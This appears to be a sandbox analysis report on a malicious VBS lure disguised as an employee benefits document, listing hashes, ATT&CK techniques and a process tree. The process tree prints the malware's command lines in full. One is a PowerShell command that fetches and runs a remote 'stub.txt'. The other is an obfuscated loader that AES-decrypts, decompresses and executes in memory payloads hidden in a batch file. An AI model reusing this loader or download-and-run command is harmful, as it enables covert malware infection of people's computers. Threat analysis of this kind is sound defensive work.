6096bee06cb4d3d603d6e200d9c4a81f80c1b0fb892fd05cb56c85d50e52c83d

General

Target

Employee Benefits & Bonus Docs 2024.vbs
Size

66KB
MD5

db10d2a27be78c780e5757b46a265e6d
SHA1

36f720617c0f2eb5fd700dc06714fb069dea7eb9
SHA256

6096bee06cb4d3d603d6e200d9c4a81f80c1b0fb892fd05cb56c85d50e52c83d
SHA512

58e90ac9142a2221c24bf82eb24207097c2d1121c005db1533c646ce2ed461fc1318eab619a524930094711554436ca02de05a722d12cbad0cbed7da33f307c7
SSDEEP

1536:813BEKsxa+9hxSiZUq50BPW8TzigIMGX5TXx2ChW3/V79j8:/KMaYhciZtuFVVIMGJXx2P8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1412	powershell.exe
2904	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2904	powershell.exe
1412	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2748	2956	WScript.exe	31
PID 2956 wrote to memory of 2748	2956	WScript.exe	31
PID 2956 wrote to memory of 2748	2956	WScript.exe	31
PID 2748 wrote to memory of 2904	2748	cmd.exe	33
PID 2748 wrote to memory of 2904	2748	cmd.exe	33
PID 2748 wrote to memory of 2904	2748	cmd.exe	33
PID 2956 wrote to memory of 2088	2956	WScript.exe	34
PID 2956 wrote to memory of 2088	2956	WScript.exe	34
PID 2956 wrote to memory of 2088	2956	WScript.exe	34
PID 2088 wrote to memory of 1412	2088	cmd.exe	36
PID 2088 wrote to memory of 1412	2088	cmd.exe	36
PID 2088 wrote to memory of 1412	2088	cmd.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Employee Benefits & Bonus Docs 2024.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -NoExit -Command Invoke-Expresshiog(Infoke-WebRequest -Uri "https://emptyservices.vip/stub.txt" -UceBasingcorlijzationg = 'your_fixed_token_here' }).Content
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -NoExit -Command Invoke-Expresshiog(Infoke-WebRequest -Uri "https://emptyservices.vip/stub.txt" -UceBasingcorlijzationg = 'your_fixed_token_here' }).Content
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('byPitpttrKOr9S4gS51RiwODtTqtgx9LZXuwqMXWA4g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KLxX3z6JPX89+JmQWr32sA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZBnGU=New-Object System.IO.MemoryStream(,$param_var); $vupQr=New-Object System.IO.MemoryStream; $leNdx=New-Object System.IO.Compression.GZipStream($ZBnGU, [IO.Compression.CompressionMode]::Decompress); $leNdx.CopyTo($vupQr); $leNdx.Dispose(); $ZBnGU.Dispose(); $vupQr.Dispose(); $vupQr.ToArray();}function execute_function($param_var,$param2_var){ $QBcFyzORlfFvkyN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eoxDpSmmlmQGNeDwSiumwcziYkJcAoZkRcmWGkOEDoRsISaNHINmPlrcPoEejkLWmFPLSHPHuQIhkgzfkVuSBNvFLjhsGKutDUgcdpVaSfSYDjSIOyToPTuzkjZIzxbJvpEpawcVauZwUwcBryDhQg=$QBcFyzORlfFvkyN.EntryPoint; $eoxDpSmmlmQGNeDwSiumwcziYkJcAoZkRcmWGkOEDoRsISaNHINmPlrcPoEejkLWmFPLSHPHuQIhkgzfkVuSBNvFLjhsGKutDUgcdpVaSfSYDjSIOyToPTuzkjZIzxbJvpEpawcVauZwUwcBryDhQg.Invoke($null, $param2_var);}$lH = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $lH;$cAKjuebouz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($lH).Split([Environment]::NewLine);foreach ($fH in $cAKjuebouz) { if ($fH.StartsWith('::')) { $S=$fH.Substring(2); break; }}$payloads_var=[string[]]$S.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
62KB

MD5
b318d9f0c62b86e1c78917fa43630e1f

SHA1
e57533546987c2f91db873ab2b756bd752deafda

SHA256
4b429c11db344779526f0cdacc411ec8835f2682d5212ad5f5b0c1d48020a028

SHA512
b0417872bd1234e1ac2ecf80c14396ab92f177d54edeb1cc296b2f51af0138f3bfd11f2431f879ad59abfefb9fa83ec93e4c9ce8e14abd79cd1faf1c9217a75c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3ccdaa90ff3f000f809e9bc1472f5ce3

SHA1
fa9fac49e303397f15cf29af0965596619ecc14c

SHA256
c2707661647ed6129e6480c2c5543a73f2a27d703cfa443af75bf9437c9a9a5b

SHA512
9375b4a40174b81f56674d34dbd870b6a76c8c4510ea8f7ccf5a33844433a10dde73c6acddce787a3e925e760ba619f5e965729600e84716708cb7c347f23f02

Download Submit
memory/2904-4-0x000007FEF521E000-0x000007FEF521F000-memory.dmp

Filesize
4KB

Download
memory/2904-5-0x000000001B830000-0x000000001BB12000-memory.dmp

Filesize
2.9MB

Download
memory/2904-7-0x000007FEF4F60000-0x000007FEF58FD000-memory.dmp

Filesize
9.6MB

Download
memory/2904-9-0x000007FEF4F60000-0x000007FEF58FD000-memory.dmp

Filesize
9.6MB

Download
memory/2904-10-0x000007FEF4F60000-0x000007FEF58FD000-memory.dmp

Filesize
9.6MB

Download
memory/2904-8-0x000007FEF4F60000-0x000007FEF58FD000-memory.dmp

Filesize
9.6MB

Download
memory/2904-6-0x0000000000460000-0x0000000000468000-memory.dmp

Filesize
32KB

Download
memory/2904-11-0x000007FEF4F60000-0x000007FEF58FD000-memory.dmp

Filesize
9.6MB

Download
memory/2904-12-0x000007FEF521E000-0x000007FEF521F000-memory.dmp

Filesize
4KB

Download
memory/2904-13-0x000007FEF4F60000-0x000007FEF58FD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing